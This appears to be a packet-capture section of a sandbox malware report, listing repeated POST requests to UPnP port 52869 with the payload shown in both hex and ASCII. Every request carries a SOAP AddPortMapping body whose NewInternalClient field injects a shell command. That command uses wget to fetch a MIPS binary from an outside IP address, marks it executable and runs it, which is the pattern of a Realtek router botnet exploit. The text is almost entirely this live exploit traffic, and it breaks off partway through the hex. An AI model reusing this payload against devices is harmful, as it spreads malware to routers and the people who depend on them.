                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:46.745424986 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      18192.168.2.154295045.192.255.5052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:43.271811008 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:45.147859097 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:47.355180025 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.963012934 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:00.922718048 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:20.122144938 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 